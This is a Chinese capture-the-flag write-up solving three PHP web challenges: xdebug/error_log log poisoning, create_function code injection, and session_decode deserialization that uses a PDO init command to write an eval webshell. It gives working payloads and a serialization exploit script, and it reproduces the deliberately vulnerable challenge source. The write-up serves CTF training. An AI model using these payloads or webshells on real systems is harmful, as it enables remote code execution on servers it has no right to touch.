红包挑战7
考点:xdebug拓展
源码
<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system(
"ls '".filter($_GET[1])."'"
);
function filter($cmd){
$cmd = str_replace("'","",$cmd);
$cmd = str_replace("\\","",$cmd);
$cmd = str_replace("`","",$cmd);
$cmd = str_replace("$","",$cmd);
return $cmd;
}
分析一下
error_reporting(2);
这将错误报告级别设置为仅显示警告,这可能是为了隐藏潜在的错误消息,使用户看不到;接着extract函数存在变量覆盖;ini_set函数可以修改php拓展;然后字符串拼接命令执行,不过只有ls功能;最后给了黑名单过滤
我们简单测试下,发现flag的位置
那么我们的问题就是如何读取
思路:利用extract函数变量覆盖和ini_set函数修改php配置选项,使得利用拓展实现RCE
我们看一下有什么可用的拓展,通常在/usr/lib/php/extensions
下,但是本题的路径为/usr/local/lib/php/extensions
读取一下,发现存在xdebug拓展
?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731
结合本题特殊的error_reporting(2)
,翻一下资料,发现xdebug拓展在处理截断问题时会将异常payload回显。而system刚好可以用0字节进行截断来触发异常,也就是%00截断。我们已知可控php配置选项,由于不会设置为2不会回显报错,那么我们可以利用error_log函数控制报错信息回显的路径
payload如下
(注意命令的双引号,单引号被过滤了)
?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>
访问/hack.php
,然后再修改命令即可
红包挑战8
考点:create_function注入
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
extract($_GET);
create_function($name,base64_encode($value))();
存在变量覆盖,create_function函数第二个参数无法实现注入
由于我们第一个参数name也是可控的,payload如下
?name=){}system('tac /flag');//
红包挑战9
考点:session反序列化
题目是给了附件的
我们先看common.php
<?php
class user{
public $id;
public $username;
private $password;
public function __toString(){
return $this->username;
}
}
class cookie_helper{
private $secret = "*************"; //敏感信息打码
public function getCookie($name){
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name,$value){
$data = $value."|".md5($this->secret.$value);
setcookie($name,$data);
}
private function verify($cookie){
$data = explode('|',$cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
}
}
class mysql_helper{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct(){
$this->init();
}
public function __wakeup(){
$this->init();
}
private function init(){
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****',//敏感信息打码
'password' => '****',//敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo(){
try{
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
}catch(PDOException $e){
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
class application{
public $cookie;
public $mysql;
public $dispather;
public $loger;
public $debug=false;
public function __construct(){
$this->cookie = new cookie_helper();
$this->mysql = new mysql_helper();
$this->dispatcher = new dispatcher();
$this->loger = new userLogger();
$this->loger->setLogFileName("log.txt");
}
public function register($username,$password){
$this->loger->user_register($username,$password);
$pdo = $this->mysql;
$sql = "insert into user(username,password) values(?,?)";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
return $pdo->lastInsertId() > 0;
}
public function login($username,$password){
$this->loger->user_login($username,$password);
$sql = "select id,username,password from user where username = ? and password = ?";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
$ret = $stmt->fetch();
return $ret['password']===$password;
}
public function getLoginName($name){
$data = $this->cookie->getCookie($name);
if($data === NULL && isset($_GET['token'])){
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
public function logout(){
$this->loger->user_logout();
setCookie("user",NULL);
}
private function log_last_user(){
$sql = "select username,password from user order by id desc limit 1";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute();
$ret = $stmt->fetch();
}
public function __destruct(){
if($this->debug){
$this->log_last_user();
}
}
}
class userLogger{
public $username;
private $password;
private $filename;
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename){
$this->filename = $filename;
}
public function __wakeup(){
$this->filename = "log.txt";
}
public function user_register($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_login($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_logout(){
$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function __destruct(){
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
}
class dispatcher{
public function sendMessage($msg){
echo "<script>alert('$msg');window.history.back();</script>";
}
public function redirect($route){
switch($route){
case 'login':
header("location:index.php?action=login");
break;
case 'register':
header("location:index.php?action=register");
break;
default:
header("location:index.php?action=main");
break;
}
}
}
不难发现存在文件写入的功能考虑反序列化,但是没有发现unserialize函数,不过我们分析下面代码
public function getLoginName($name){
$data = $this->cookie->getCookie($name);
if($data === NULL && isset($_GET['token'])){
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
语句session_decode($_GET['token']);
往session里面存放对象
语句$data = $_SESSION['user'];
往session里面拿取对象,拿取名字为user的对象。
所以满足session反序列化条件的情况下,我们可以构造token=user| 恶意序列化字符串
来实现命令执行
(注:token的格式是因为session的存储格式为键名 + 竖线 + 经过 serialize() 函数反序列处理的值
)
我们访问main.php,发现存在调用getLoginName()
<?php
$name = $app->getLoginName('user');
if($name){
echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
include 'login.html';
}
而要想访问main.php调用此方法就要继续看到index.php
<?php
error_reporting(0);
session_start();
require_once 'common.php';
$action = $_GET['action'];
$app = new application();
if(isset($action)){
switch ($action) {
case 'do_login':
$ret = $app->login($_POST['username'],$_POST['password']);
if($ret){
$app->cookie->setcookie("user",$_POST['username']);
$app->dispatcher->redirect('main');
}else{
echo "登录失败";
}
break;
case 'logout':
$app->logout();
$app->dispatcher->redirect('main');
break;
case 'do_register':
$ret = $app->register($_POST['username'],$_POST['password']);
if($ret){
$app->dispatcher->sendMessage("注册成功,请登陆");
}else{
echo "注册失败";
}
break;
default:
include './templates/main.php';
break;
}
}else{
$app->dispatcher->redirect('main');
}
可以发现启用session_start();
(说明思路没错),接收action参数进行switch选择判断,如果没找到则跳转main.php,所以我们只需要传参action不为那三个值即可
思路捋清楚后我们看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我们分析下cookie_helper类
class cookie_helper{
private $secret = "*************"; //敏感信息打码
public function getCookie($name){
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name,$value){
$data = $value."|".md5($this->secret.$value);
setcookie($name,$data);
}
private function verify($cookie){
$data = explode('|',$cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
}
}
verify()首先用|
将cookie值隔开,判断数量是否为2,如果不为2返回null(关键点在这)。
如果返回null的话data值为null,并且我们同时传参token,那么就可以实现session反序列化
cookie值的生成方式也告诉我们$data = $value."|".md5($this->secret.$value);
,我们可以将注册的用户名添加一个|
,然后拼接的时候就会出现两个|
,也就是数量为3实现返回null
注册用户名rev1ve|666,登录得到cookie
然后我们简单构造字符串
<?php
class userLogger{
public $username="<?php eval(\$_POST[1]);?>";
private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));
我们可以访问log.txt看看(带上cookie),发现成功写入
那么我们getshell的方式就是写马
题目应该是开启了PDO扩展(common.php中出现的mysql_helper类),用来连接数据库。
利用PDO::MYSQL_ATTR_INIT_COMMAND
连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。
构造恶意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';
我们看向mysql_helper类,执行命令如下
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);
往前推,可以发现application类实例化的时候会调用mysql_helper类
连接数据库就得执行mysql_helper::get_pdo()方法,然后必须执行application::log_last_user()方法
private function log_last_user(){
$sql = "select username,password from user order by id desc limit 1";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute();
$ret = $stmt->fetch();
}
往下看,发现debug的值为True才行
public function __destruct(){
if($this->debug){
$this->log_last_user();
}
}
exp如下
<?php
class mysql_helper{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';"
);
}
class application{
public $debug=true;
public $mysql;
}
$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));
直接随便抓包一个界面,修改cookie为我们注册rev1ve|666
的,添加payload
然后成功访问得到flag